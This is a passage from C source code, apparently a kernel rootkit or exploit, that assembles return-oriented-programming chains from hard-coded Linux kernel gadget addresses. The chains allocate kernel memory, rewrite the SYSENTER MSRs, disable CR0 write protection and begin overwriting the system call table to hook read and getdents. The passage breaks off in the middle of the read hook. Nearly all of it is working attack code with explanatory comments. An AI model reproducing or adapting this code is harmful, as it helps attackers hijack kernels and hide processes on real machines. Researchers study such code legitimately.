    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    // RDI now in RSI.
    // => Repeat the steps from above to load RSI into RDX

    // Call construct, required as the move from RSI to RDX contains a
    // call.
    // First setup CALL RBX
    add_to_fake_stack(0xffffffff812ca859, &copy_stack, &copy_stack_size);   // POP RBX; RET;
    add_to_fake_stack(0xffffffff816a9434, &copy_stack, &copy_stack_size);   // Address of ADD RSP, 0x38;
                                                                            //            RET;

    // Now setup CALL RDX
    add_to_fake_stack(0xffffffff812ce029, &copy_stack, &copy_stack_size);   // POP RDX; RET;
    add_to_fake_stack(0xffffffff815852e3, &copy_stack, &copy_stack_size);   // Address of MOV RDX, RSI;
                                                                            //            MOV ESI,R8D;
                                                                            //            CALL RBX;

    // Make some room for the return address that is pushed by the calls
    add_to_fake_stack(0xffffffff81352d33, &copy_stack, &copy_stack_size);   // ADD RSP, 0x10; RET;
    add_to_fake_stack(0x4242424242424242, &copy_stack, &copy_stack_size);   // Will be overwritten!
    add_to_fake_stack(0x4242424242424242, &copy_stack, &copy_stack_size);   // Will be overwritten!

    // Stack fix for the ADD RSP,0x38 in RDX
    add_to_fake_stack(0xffffffff8143bc09, &copy_stack, &copy_stack_size);   // SUB RSP, 0x8; CALL RDX;
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    // RSI now in RDX. => RDI in RDX

    // Load state address of RDI into RAX
    add_to_fake_stack(0xffffffff8100a4de, &copy_stack, &copy_stack_size);   // POP RAX; RET;
    add_patch_entry(&copy_stack, &copy_stack_size, GLOBAL_RDI, 0);          // Create a patch entry
    add_to_fake_stack(0x0, &copy_stack, &copy_stack_size);                  // RDI,
                                                                            // must be overwritten by init


    // Save
    add_to_fake_stack(0xffffffff8115c832, &copy_stack, &copy_stack_size);   // MOV [RAX],RDX; RET

    // -----------------------------------------------------------------
    // SAVE RBP
    // -----------------------------------------------------------------
    // Call construct, required as the move from RBP to RDI contains a
    // call.
    // First setup CALL RBX
    add_to_fake_stack(0xffffffff812ca859, &copy_stack, &copy_stack_size);   // POP RBX; RET;
    add_to_fake_stack(0xffffffff816a9434, &copy_stack, &copy_stack_size);   // Address of ADD RSP, 0x38;
                                                                            //            RET;

    // Now setup CALL RDX
    add_to_fake_stack(0xffffffff812ce029, &copy_stack, &copy_stack_size);   // POP RDX; RET;
    add_to_fake_stack(0xffffffff816d3727, &copy_stack, &copy_stack_size);   // Address of MOV RDI, RBP;
                                                                            //            CALL RBX;

    // Make some room for the return address that is pushed by the calls
    add_to_fake_stack(0xffffffff81352d33, &copy_stack, &copy_stack_size);   // ADD RSP, 0x10; RET;
    add_to_fake_stack(0x4242424242424242, &copy_stack, &copy_stack_size);   // Will be overwritten!
    add_to_fake_stack(0x4242424242424242, &copy_stack, &copy_stack_size);   // Will be overwritten!

    // Stack fix for the ADD RSP,0x38 in RDX
    add_to_fake_stack(0xffffffff8143bc09, &copy_stack, &copy_stack_size);   // SUB RSP, 0x8; CALL RDX;
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    // RBP now in RDI

    // Load state address of RBP into RCX
    add_to_fake_stack(0xffffffff81005190, &copy_stack, &copy_stack_size);   // POP RCX; RET;
    add_patch_entry(&copy_stack, &copy_stack_size, GLOBAL_RBP, 0);          // Create a patch entry
    add_to_fake_stack(0x0, &copy_stack, &copy_stack_size);                  // RBP,
                                                                            // must be overwritten by init


    // Save
    add_to_fake_stack(0xffffffff813df7ba, &copy_stack, &copy_stack_size);   // MOV [RCX],RDI;
                                                                            // XOR EAX, EAX;
                                                                            // RET;

    // ----------------------------------------------------------------
    // << PROLOG DONE
    // ================================================================
    printf(" Done.\n");

 

    printf(" \t[*] Writing copy chain using dispatcher chain @ %p...", dispatcher_chain);
    // ================================================================
    // >> COPY CHAIN
    // ----------------------------------------------------------------
    // Alrighty. Here we basically create a copy chain that copies the
    // dispatcher chain to the dispatcher stack on each invocation. The
    // dispatcher chain can then make use of all general purpose
    // registers and does not have to use special constructs for
    // call instructions etc. as it is recreated on each invocation.

    // First we need to get the address of the dispatcher stack. The
    // dispatcher region is created at run-time by the init chain using
    // kmalloc. Thus this field needs to be patched by the init chain.
    add_to_fake_stack(0xffffffff8100a4de, &copy_stack, &copy_stack_size);   // POP RAX; RET;
    // The offset within the copy stack that must be patched.
    dispatcher_stack_patch = copy_stack;      
    add_to_fake_stack(0x4242424242424242, &copy_stack, &copy_stack_size);   // Will be overwritten!
    // RAX now points to the beginning of the dispatcher stack.
   
    // Copy each value of the payload chain into the copy stack.
    // For this we iterate over the current payload chain and create
    // a copy sequence for each value.
    for (i = 0; i < dispatcher_size; i += 8)
    {
            // Load the current value of the dispatcher chain into RDX
            add_to_fake_stack(0xffffffff812ce029, &copy_stack, &copy_stack_size);   // POP RDX; RET        
            // If the current dispatcher value is a patch value, we have to point
            // it to its new location.
            update_patch_entry((void *)dispatcher, copy_stack, copy_stack_size);
            // Add the value.
            add_to_fake_stack((*dispatcher), &copy_stack, &copy_stack_size);        // Current value of
                                                                                    // the copy chain

            // Store the value within the dispatcher region
            add_to_fake_stack(0xffffffff8115c832, &copy_stack, &copy_stack_size);   // MOV [RAX],RDX; RET

            // Increase RAX to point to the next location in the dispatcher region
            add_to_fake_stack(0xffffffff8135469f, &copy_stack, &copy_stack_size);   // POP RDI; RET
            add_to_fake_stack(0x8, &copy_stack, &copy_stack_size);                  // Each value has
                                                                                    // 8-bytes
            // Now add to RAX
            add_to_fake_stack(0xffffffff811c98de, &copy_stack, &copy_stack_size);   // ADD RDI, RAX;
                                                                                    // MOV RAX, RDI; RET;

            // Increase Dispatcher pointer
            dispatcher += 1;
    }

    // ----------------------------------------------------------------
    // << COPY CHAIN DONE
    // ================================================================
    printf(" Done.\n");


    printf(" \t[*] Writing switching sequence...");
    // ================================================================
    // >> SWITCHING SEQUENCE
    // ----------------------------------------------------------------
    // Finally the copy chain needs to tansfer control to the dispatcher
    // chain it just created.
    // This sequence makes use of the fact that RAX still points to the
    // dispatcher region. Thus all that we have to do to obtain the
    // beginning is to substract the size of the dispatcher chain from RAX.
   
    // Load size of dispatcher chain into RDX
    add_to_fake_stack(0xffffffff812ce029, &copy_stack, &copy_stack_size);   // POP RDX; RET
    add_to_fake_stack(dispatcher_size, &copy_stack, &copy_stack_size);      // OFFSET

    // SUB
    add_to_fake_stack(0xffffffff81079357, &copy_stack, &copy_stack_size);   // SUB RAX, RDX
    // RAX now points to the beginning of the dispatcher chain

    // Next transfer the control to the dispatcher stack we created.
    // Since there is no gadget that allows us to directly overwrite the
    // RSP, we need to make use of a rather involved copy gadget.
    // No worries, we will lead you Through this. Letse go!
   
    // First we setup RDI
    add_to_fake_stack(0xffffffff8135469f, &copy_stack, &copy_stack_size);   // POP RDI; RET;
    add_to_fake_stack(0xffffffff812c45f2, &copy_stack, &copy_stack_size);   // MOV [RSP+0x10],RAX;
                                                                            // MOV RDX,[RSP+0x30];
                                                                            // CALL RDX;

    // This gadget will move the dispatcher stack onto our stack, where we
    // can pop it directly into RSP. The problem is, however, that it
    // loads the value for the next call from the stack as well. Thus
    // we need to solve two problems:
    //  a) We need to make room for the call to avoid overwrites
    //  b) We need to place a gadget at RSP + 0x30 that fixes the stack
    // First we make room.
    // Increase the SP and invoke the gadget from above residing in RDI.
    add_to_fake_stack(0xffffffff816d3626, &copy_stack, &copy_stack_size);   // ADD RSP, 0x18; JMP RDI
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    add_to_fake_stack(0x4242424242424242, &copy_stack, &copy_stack_size);   // This value will be
                                                                            // overwritten by call RDX as
                                                                            // it pushes the return address
    // The stack points here after the ADD RSP, 0x18
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used

    // The POP RSP. The instruction we are doing this for.
    add_to_fake_stack(0xffffffff81423f82, &copy_stack, &copy_stack_size);   // POP RSP; RET.
    add_to_fake_stack(0x4242424242424242, &copy_stack, &copy_stack_size);   // RAX will be written here
                                                                            // by the instruction
                                                                            // MOV [RSP+0x10],RAX.
   
    // Padding such that RSP+0x30 points to the right gadget
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used
    add_to_fake_stack(0xdeadbeefdeadbeef, &copy_stack, &copy_stack_size);   // This value will not be used

    // This gadget ends up in RDX before the call. It pops the return
    // address as well as the 0xdeadbeefdeadbeef before the POP RSP
    // which will switch the stack,
    add_to_fake_stack(0xffffffff8100a4dd, &copy_stack, &copy_stack_size);   // POP RCX; (return address)
                                                                            // POP RAX; (deadbeefdeadbeef)
                                                                            // RET; (unleash the dispatcher)

    // ----------------------------------------------------------------
    // << SWITCHING SEQUENCE DONE
    // ================================================================
    printf(" Done.\n");


    printf(" [!] DONE.\n");
    printf(" [!] Copy stack size %ld bytes\n", copy_stack_size);
}


/**
 * This function will create and setup our init fake stack.
 *
 * The function will create the init fake stack that is executed when we
 * exploit the vulnerability. In particular it:
 *  * Reserves memory for the copy stack and the dispatcher stack
 *  * Reserves memory for the global state and initializes it
 *  * Patches the copy stack and the dispatcher stack
 *  * Modifies the sysenter MSRs
 *  * Hooks the read and the getdents system call.
 */
static void create_init_fake_stack(void)
{
    printf(" [+] Creating init fake stack...\n");
    printf(" \t[*] Reserving memory...\n");
   
    // IMPORTANT: It is important to use MMAP here instead of malloc.
    // Malloc can lead to various errors that are probably a result of
    // the fact that a userspace page (such as the fake stack) is not
    // avaialble within the kernel. This may be due to swapping or other
    // paging related issues.
    init_stack = mmap(NULL, INIT_STACK_SIZE, PROT_READ|PROT_WRITE,
                      MAP_SHARED|MAP_ANONYMOUS|MAP_LOCKED, -1, 0);

    if (init_stack == MAP_FAILED)
    {
            error(-1, 0, " \t[!] Failed to reserve memory for the init fake stack!\n");
    }

    printf(" \t[*] Init fake stack areas @ %p\n", init_stack);

    // Make sure the area is zeroed.
    memset(init_stack, 0, INIT_STACK_SIZE);

    // Leave some space for function calls
    init_stack += INIT_STACK_OFFSET;

    printf(" \t[*] Init fake stack @ %p\n", init_stack);

    // ================================================================
    // >> PROLOG
    // ----------------------------------------------------------------
    // The interrupt handler will first execute leave; ret;
    printf(" \t[*] Setting up fake RBP and first RET for 'leave; ret;'..,\n");
    add_to_fake_stack(0xdeadbeefbeefdead, &init_stack, &init_stack_size);     // New RBP, does not really matter

    // Load GS segement, such that the kernel can access its globals.
    add_to_fake_stack(0xffffffff816cb9cb, &init_stack, &init_stack_size);     // SWAPGS; RET

    // ----------------------------------------------------------------
    // << SWITCHING SEQUENCE DONE
    // ================================================================
 


    // ================================================================
    // >> CREATE & SETUP STATE
    // ----------------------------------------------------------------
    // First reserve memory for the state
    // We use kmalloc for this purpose
    // RDI=SIZE, RSI=FLAGS
    add_to_fake_stack(0xffffffff8135469f, &init_stack, &init_stack_size);     // POP RDI; RET
    add_to_fake_stack(GLOBAL_STATE_SIZE, &init_stack, &init_stack_size);      // SIZE = STATE_SIZE

    add_to_fake_stack(0xffffffff81343c9e, &init_stack, &init_stack_size);     // POP RSI, RET;
    add_to_fake_stack(0xd0, &init_stack, &init_stack_size);                   // GFP_KERNEL, 0xd0

    // Load Address of '__kmalloc' into RAX
    add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0xffffffff8117d490, &init_stack, &init_stack_size);     // Address of __kmalloc

    // "Call" __kmalloc
    add_to_fake_stack(0xffffffff81000110, &init_stack, &init_stack_size);     // JMP RAX;
    // RAX now contains pointer

    // Next we setup the global state
    // IMPORTANT: The globale state uses +1 to differentiate it from
    // the payload stack. This means we have to substract one if we use
    // values from it!
    // 1. PID_PARSE
    add_to_fake_stack(0xffffffff8135469f, &init_stack, &init_stack_size);     // POP RDI; RET
    add_to_fake_stack(PID_PARSE-1, &init_stack, &init_stack_size);            // OFFSET

    // Add offset to RAX
    add_to_fake_stack(0xffffffff8104c41d, &init_stack, &init_stack_size);     // ADD RAX, RDI; RET

    // Setup value
    add_to_fake_stack(0xffffffff812ce029, &init_stack, &init_stack_size);     // POP RDX; RET
    // DEFAULT 0
    add_to_fake_stack(0x0, &init_stack, &init_stack_size);                    // The value for PID_INDEX
    // SET
    add_to_fake_stack(0xffffffff8115c832, &init_stack, &init_stack_size);     // MOV [RAX],RDX; RET
    // PID_PARSE DONE
   
    // 2. PID_INDEX
    add_to_fake_stack(0xffffffff8135469f, &init_stack, &init_stack_size);     // POP RDI; RET
    add_to_fake_stack(PID_INDEX-PID_PARSE, &init_stack, &init_stack_size);    // OFFSET

    // Add offset to RAX
    add_to_fake_stack(0xffffffff8104c41d, &init_stack, &init_stack_size);     // ADD RAX, RDI; RET

    // Setup value
    add_to_fake_stack(0xffffffff812ce029, &init_stack, &init_stack_size);     // POP RDX; RET
    // DEFAULT 0
    add_to_fake_stack(0x0, &init_stack, &init_stack_size);                    // The value for PID_INDEX
    // SET
    add_to_fake_stack(0xffffffff8115c832, &init_stack, &init_stack_size);     // MOV [RAX],RDX; RET
    // PID_INDEX DONE
   
    // 3. PROC_INDEX
    add_to_fake_stack(0xffffffff8135469f, &init_stack, &init_stack_size);     // POP RDI; RET
    add_to_fake_stack(PROC_INDEX - PID_INDEX, &init_stack, &init_stack_size); // OFFSET

    // Add offset to RAX
    add_to_fake_stack(0xffffffff8104c41d, &init_stack, &init_stack_size);     // ADD RAX, RDI; RET

    // Setup value
    add_to_fake_stack(0xffffffff812ce029, &init_stack, &init_stack_size);     // POP RDX; RET
    // DEFAULT 0
    add_to_fake_stack(0x0, &init_stack, &init_stack_size);                    // The value for PROC_INDEX
    // SET
    add_to_fake_stack(0xffffffff8115c832, &init_stack, &init_stack_size);     // MOV [RAX],RDX; RET
    // PROC_INDEX DONE

    // Reset RAX => Substract last field to point to the beginning
    add_to_fake_stack(0xffffffff812ce029, &init_stack, &init_stack_size);     // POP RDX; RET
    add_to_fake_stack(PROC_INDEX-1, &init_stack, &init_stack_size);           // The last offset added
    add_to_fake_stack(0xffffffff81079357, &init_stack, &init_stack_size);     // SUB RAX, RDX
      
    // ----------------------------------------------------------------
    // << CREATE & SETUP STATE DONE
    // ================================================================

 

    // ================================================================
    // >> GENERATE PATCHING CODE
    // ----------------------------------------------------------------
    // The actual patching will be conducted at run-time. Here we
    // generate the required code. Notice that the patching will take
    // place in the copy chain. Once the copy chain has been patched,
    // we copy it into kernel memory.
    // Notice that we only patch global symbols here!
   
    // To use our patch gadget, we have to setup RDI and RCX.
    // Base address of the state has to be in RDI
    generate_move_from_rax(&init_stack, &init_stack_size, REG_RDI);
   
    // The stack has to be in RCX
    generate_pop(&init_stack, &init_stack_size, REG_RCX);
    add_to_fake_stack((u64)copy_stack - copy_stack_size, &init_stack,
                      &init_stack_size);
   
    // PATCH
    generate_patch_gadget(&init_stack, &init_stack_size,
                          copy_stack, copy_stack_size,
                          GLOBAL);
   
    // Move the state back to RAX
    generate_move_to_rax(&init_stack, &init_stack_size, REG_RDI);
   
/*
    // The offset is specified from the beginning of copy_stack.
    copy_stack_begin = copy_stack - copy_stack_size;

    for (i = 0; i < patch_entry_index; ++i)
    {
            // Set Offset
            patch_offset = patch_entries[i].type + patch_entries[i].type_offset;

            // Load state value + offset into  RDI
            // The state value is currently in RAX
            // Thus we set RDI to the offset and add RAX to RDI afterwards
            add_to_fake_stack(0xffffffff8135469f, &init_stack, &init_stack_size);     // POP RDI; RET
            add_to_fake_stack(patch_offset, &init_stack, &init_stack_size);           // OFFSET
            // Now we can make use of an add gadget
            add_to_fake_stack(0xffffffff811c98de, &init_stack, &init_stack_size);     // ADD RDI, RAX;
                                                                                      // MOV RAX, RDI; RET;
            // Load the address that should be patched into RCX
            add_to_fake_stack(0xffffffff81005190, &init_stack, &init_stack_size);     // POP RCX; RET
            // Address of copy stack + offsets
            add_to_fake_stack((u64)copy_stack_begin + patch_entries[i].fake_stack_offset,
                              &init_stack, &init_stack_size);

            // PATCH
            // MOV [RCX], RDI; XOR EAX,EAX; RET
            add_to_fake_stack(0xffffffff813df7ba, &init_stack, &init_stack_size);

            // Reset RAX back to the base value to be able to process the next
            // patch symbol
            // Mov RDI back to RAX
            add_to_fake_stack(0xffffffff811c98e1, &init_stack, &init_stack_size);     // MOV RAX, RDI; RET

            // Load offset into RDX
            add_to_fake_stack(0xffffffff812ce029, &init_stack, &init_stack_size);     // POP RDX; RET
            add_to_fake_stack(patch_offset, &init_stack, &init_stack_size);           // The last offset

            // Substract RDX from RAX
            add_to_fake_stack(0xffffffff81079357, &init_stack, &init_stack_size);     // SUB RAX, RDX

    }
*/
    // ----------------------------------------------------------------
    // << GENERATE PATCHING CODE DONE.
    // ================================================================


   
    // ================================================================
    // >> CREATE DISPATCHER STACK
    // ----------------------------------------------------------------
    // Before we copy the copy chain into the kernel, we need to
    // reserve memory for the dispatcher stack and patch its address into
    // the copy chain. This process has to occur before we move the
    // copy chain from userspace to kernelspace, but after the
    // patching code was run. The reason for the latter is that RAX
    // contains the address of the state region up to this point. This
    // address is required to conduct the patching, but is not needed
    // anymore from this point onwards.
   
    // First reserve memory for the dispatcher stack.
    // We use kmalloc for this purpose
    // RDI=SIZE, RSI=FLAGS
    add_to_fake_stack(0xffffffff8135469f, &init_stack, &init_stack_size);     // POP RDI; RET
    add_to_fake_stack(DISPACTHER_STACK_SIZE + 2 * 4096,
                      &init_stack, &init_stack_size);                         // SIZE = DISPACTHER_STACK_SIZE
                                                                              // + two pages stack

    add_to_fake_stack(0xffffffff81343c9e, &init_stack, &init_stack_size);     // POP RSI, RET;
    add_to_fake_stack(0xd0, &init_stack, &init_stack_size);                   // GFP_KERNEL, 0xd0

    // Load Address of '__kmalloc' into RAX
    add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0xffffffff8117d490, &init_stack, &init_stack_size);     // Address of __kmalloc

    // "Call" __kmalloc
    add_to_fake_stack(0xffffffff81000110, &init_stack, &init_stack_size);     // JMP RAX;
    // RAX now contains pointer

    // The payload stack currently start at the beginning of the
    // reserved memory area. However, as the dispatcher stack might use
    // external functions, the stack must provide some room to grow
    // downward. Therefore we increase the pointer by two pages to
    // provide some room.
    add_to_fake_stack(0xffffffff8135469f, &init_stack, &init_stack_size);     // POP RDI; RET
    add_to_fake_stack(2 * 4096, &init_stack, &init_stack_size);               // Two pages room for stack
    // The next gadget performs the add and moves the result back to
    // RAX
    add_to_fake_stack(0xffffffff811c98de, &init_stack, &init_stack_size);     // ADD RDI, RAX;
                                                                              // MOV RAX, RDI; RET;
   

    // Now we have to patch the pointer our copy chain.
    // Load the correct offset into RSI.
    add_to_fake_stack(0xffffffff81343c9e, &init_stack, &init_stack_size);     // POP RSI; RET;
    add_to_fake_stack((u64)dispatcher_stack_patch, &init_stack,               // The patch address.
                      &init_stack_size);                                      // It is set by the copy chain.
                                                                            

    // Patch the address with the pointer returned by kmalloc.
    add_to_fake_stack(0xffffffff8102eaa1, &init_stack, &init_stack_size);     // MOV [RSI],RAX;
                                                                              // XOR EAX,EAX;
                                                                              // RET;
    // ----------------------------------------------------------------
    // << CREATE DISPATCHER STACK DONE
    // ================================================================

 

    // ================================================================
    // >> CREATE COPY STACK
    // ----------------------------------------------------------------
    // Finally we reserve the memory for the copy chain within the
    // kernel and copy the chain there.
   
    // First reserve memory for the copy stack.
    // We use kmalloc for this purpose
    // RDI=SIZE, RSI=FLAGS
    add_to_fake_stack(0xffffffff8135469f, &init_stack, &init_stack_size);     // POP RDI; RET
    add_to_fake_stack(COPY_STACK_SIZE, &init_stack, &init_stack_size);        // SIZE = COPY_STACK_SIZE

    add_to_fake_stack(0xffffffff81343c9e, &init_stack, &init_stack_size);     // POP RSI, RET;
    add_to_fake_stack(0xd0, &init_stack, &init_stack_size);                   // GFP_KERNEL, 0xd0

    // Load Address of '__kmalloc' into RAX
    add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0xffffffff8117d490, &init_stack, &init_stack_size);     // Address of __kmalloc

    // "Call" __kmalloc
    add_to_fake_stack(0xffffffff81000110, &init_stack, &init_stack_size);     // JMP RAX;
    // RAX now contains pointer

    // Save the pointer as we need it later on to setup the MSRs.
    // We store it in a local variable
    // Load the variable into RSI.
    add_to_fake_stack(0xffffffff81343c9e, &init_stack, &init_stack_size);     // POP RSI; RET;
    add_to_fake_stack((u64)&copy_stack_kernel, &init_stack, &init_stack_size);     // The local variable we store
                                                                              // the location of the copy
                                                                              // chain in.

    // Store the pointer returned by kmalloc.
    add_to_fake_stack(0xffffffff8102eaa1, &init_stack, &init_stack_size);     // MOV [RSI],RAX;
                                                                              // XOR EAX,EAX;
                                                                              // RET;

    // Since, the last gadget destroy RAX, we need to restore it.
    add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size);     // POP RAX; RET;
    add_to_fake_stack((u64)&copy_stack_kernel, &init_stack,                   // Address of the local
                      &init_stack_size);                                      // variable
                                                                             
    // We want the VALUE of the variable not the address.
    add_to_fake_stack(0xffffffff81074b56, &init_stack, &init_stack_size);     // MOV RAX, [RAX]; RET

    // Use memcopy to copy the chain to its destination.
    // ARG 1, DESTINATION = Pointer in RAX
    // First argument must be in RDI, thus we need to move RAX to RDI.
    // We use an add gadget for this purpose. Reset RDI for this purpose.
    add_to_fake_stack(0xffffffff8135469f, &init_stack, &init_stack_size);     // POP RDI; RET
    add_to_fake_stack(0x0, &init_stack, &init_stack_size);                    // 0x0
    // RDI now 0. Use add gadget for the "move"
    add_to_fake_stack(0xffffffff811c98de, &init_stack, &init_stack_size);     // ADD RDI, RAX;
                                                                              // MOV RAX, RDI;
                                                                              // RET;

    // ARG 2, SRC = copy_stack_begin
    add_to_fake_stack(0xffffffff81343c9e, &init_stack, &init_stack_size);     // POP RSI, RET;
    add_to_fake_stack((u64)copy_stack-copy_stack_size, &init_stack,           // COPY_STACK
                      &init_stack_size);

    // ARG 3, LENGTH = copy_stack_size
    add_to_fake_stack(0xffffffff812ce029, &init_stack, &init_stack_size);     // POP RDX; RET
    add_to_fake_stack(copy_stack_size, &init_stack, &init_stack_size);        // number of bytes

    // Load Address of 'memcpy' into RAX
    add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0xffffffff81354190, &init_stack, &init_stack_size);     // Address of memcpy

    // "Call" memcpy
    add_to_fake_stack(0xffffffff81000110, &init_stack, &init_stack_size);     // JMP RAX;
    // Chain should now be located in kernel space.

    // ----------------------------------------------------------------
    // << CREATE COPY STACK
    // ================================================================


   
    // ================================================================
    // >> SETUP MSRs
    // ----------------------------------------------------------------
    // Now that we created all memory areas, we must setup our MSRs
    // such that we can make use of SYSENTER to activate ROPCHUCK.
    // MSRs are written using WRMSR. The instruction expects:
    //  a) EAX to contain bytes [31:0] to be written to the MSR
    //  b) EDX to contain bytes [63:32] to be written to the MSR
    //  c) ECX contains the MSR to be written to.

    // -----------------------------------------------------------------
    // SYSENTER_ESP (0x175)
    // -----------------------------------------------------------------
    // First we load the pointer returned by kmalloc into RAX..
    add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size);     // POP RAX; RET;
    add_to_fake_stack((u64)&copy_stack_kernel, &init_stack,                   // Address of the local
                      &init_stack_size);                                      // variable
                                                                             
    // We want the VALUE of the variable not the address.
    add_to_fake_stack(0xffffffff81074b56, &init_stack, &init_stack_size);     // MOV RAX, [RAX]; RET

    // Alright, now we need to load the upper 32-bits of RAX into RDX.
    // To achieve this we first shift RAX right by 32-bits.
    add_to_fake_stack(0xffffffff81092570, &init_stack, &init_stack_size);     // SHR RAX, 32; RET.

    // Now we move eax to edx. The gadget contains a call RCX. So we
    // setup RCX first,
    add_to_fake_stack(0xffffffff81005190, &init_stack, &init_stack_size);     // POP RCX; RET;
    add_to_fake_stack(0xffffffff81005190, &init_stack, &init_stack_size);     // Address of POP RCX; RET;
   
    // Now the move
    add_to_fake_stack(0xffffffff8102296d, &init_stack, &init_stack_size);     // MOV EDX, EAX; CALL RCX;
    // EDX now contains bytes [63:32].

    // Now we have to load bytes [31:0] into EAX. To achive this we
    // simply load the pointer value again into RAX.
    add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size);     // POP RAX; RET;
    add_to_fake_stack((u64)&copy_stack_kernel, &init_stack,                   // Address of the local
                      &init_stack_size);                                      // variable
                                                                             
    // We want the VALUE of the variable not the address.
    add_to_fake_stack(0xffffffff81074b56, &init_stack, &init_stack_size);     // MOV RAX, [RAX]; RET
    // EAX now contains bytes [31:0] of the pointer.
   
    // Next we specifiy the MSR we want to write to by placing its
    // number into ECX.
    add_to_fake_stack(0xffffffff81005190, &init_stack, &init_stack_size);     // POP RCX; RET;
    add_to_fake_stack(0x175, &init_stack, &init_stack_size);                  // 0x175

    // WRMSR!
    add_to_fake_stack(0xffffffff810039a0, &init_stack, &init_stack_size);     // WRMSR;
                                                                              // XOR EAX, EAX;
                                                                              // RET;

    // -----------------------------------------------------------------
    // SYSENTER_EIP (0x176)
    // -----------------------------------------------------------------
    // SYSENTER_EIP must point to a RET instruction to start the
    // execution of our copy chain. Thus we can use almost the same
    // gadgets as before with the exception that we can now the value
    // which is written to the MSR beforehand. Thus we can use simple
    // POP gadgets this time.

    // POP RDX, 0xffffffffffffffff
    add_to_fake_stack(0xffffffff812ce029, &init_stack, &init_stack_size);     // POP RDX; RET;
    add_to_fake_stack(0xffffffffffffffff, &init_stack, &init_stack_size);     // 0xffffffffffffffff
    // EDX now contains bytes [63:32].

    // POP RAX, Address of RET
    add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size);     // POP RAX; RET;
    add_to_fake_stack(0xffffffff816a9438, &init_stack, &init_stack_size);     // Address of a RET
                                                                              // instruction
    // EAX now contains bytes [31:0].
   
    // Next we specifiy the MSR we want to write to by placing its
    // number into ECX.
    add_to_fake_stack(0xffffffff81005190, &init_stack, &init_stack_size);     // POP RCX; RET;
    add_to_fake_stack(0x176, &init_stack, &init_stack_size);                  // 0x176

    // WRMSR!
    add_to_fake_stack(0xffffffff810039a0, &init_stack, &init_stack_size);     // WRMSR;
                                                                              // XOR EAX, EAX;
                                                                              // RET;
    // ----------------------------------------------------------------
    // << SETUP MSRs DONE
    // ================================================================


   
    // ================================================================
    // >> PLACE HOOK ON SYS_READ AND SYS_GETDENTS
    // ----------------------------------------------------------------
    // The MSRs are ready. Now we can hook the system calls. Since
    // the system call table is write-proteced, we first need to
    // disable the paging protections.
   
    // -----------------------------------------------------------------
    // Disable the paging protections.
    // -----------------------------------------------------------------
    // In this case we achieve this by removing the WP flag within the
    // CR0 register.

    // Get the value of CR0 using native_read_cr0
    add_to_fake_stack(0xffffffff8100a4de, &init_stack, &init_stack_size);     // POP RAX; RET
    add_to_fake_stack(0xffffffff81043ea0, &init_stack, &init_stack_size);     // Address of
                                                                              // "native_read_cr0()"

    // "CALL" native_read_cr0()
    add_to_fake_stack(0xffffffff81000110, &init_stack, &init_stack_size);     // JMP RAX
    // RAX now contains the value CR0
   
    // Move mask to remove WP flag into RSI
    add_to_fake_stack(0xffffffff8139eaa6, &init_stack, &init_stack_size);     // POP RSI; RET
    add_to_fake_stack(0x10000, &init_stack, &init_stack_size);                // Mask

    // Clear the WP flag
    add_to_fake_stack(0xffffffff8158f734, &init_stack, &init_stack_size);     // SUB RAX, RSI; RET;

    // Write the CR0 value without WP back to CR0.
    // We again use a function for this purpose. Thus we must move the
    // value from RAX to RDI (first argument). Since we make use of an
    // add gadget for this purpose, we must set RDI to zero first,
    add_to_fake_stack(0xffffffff810b2703, &init_stack, &init_stack_size);     // POP RDI; RET
    add_to_fake_stack(0x0, &init_stack, &init_stack_size);                    // 0x0            

    // "Move" RAX to RDI
    add_to_fake_stack(0xffffffff811c98de, &init_stack, &init_stack_size);     // ADD RDI, RAX;
                                                                              // MOV RAX, RDI;
                                                                              // RET;
    // Move address of "native_write_cr0" into RDX.
    add_to_fake_stack(0xffffffff812ce029, &init_stack, &init_stack_size);     // POP RDX; RET
    add_to_fake_stack(0xffffffff81043eb0, &init_stack, &init_stack_size);     // Address of
                                                                              // "native_write_cr0()"

    // "call" native_write_cr0()
    add_to_fake_stack(0xffffffff812380eb, &init_stack, &init_stack_size);     // JMP RDX
    // Paging protections are now disabled!

    // -----------------------------------------------------------------
    // Modify SYS_READ
    // -----------------------------------------------------------------
    // Next we overwrite the SYS_READ system call address in the
    // system call table

    // Move the address of sys_call_table["read"] into RSI
    add_to_fake_stack(0xffffffff8139eaa6, &init_stack, &init_stack_size);     // POP RSI; RET
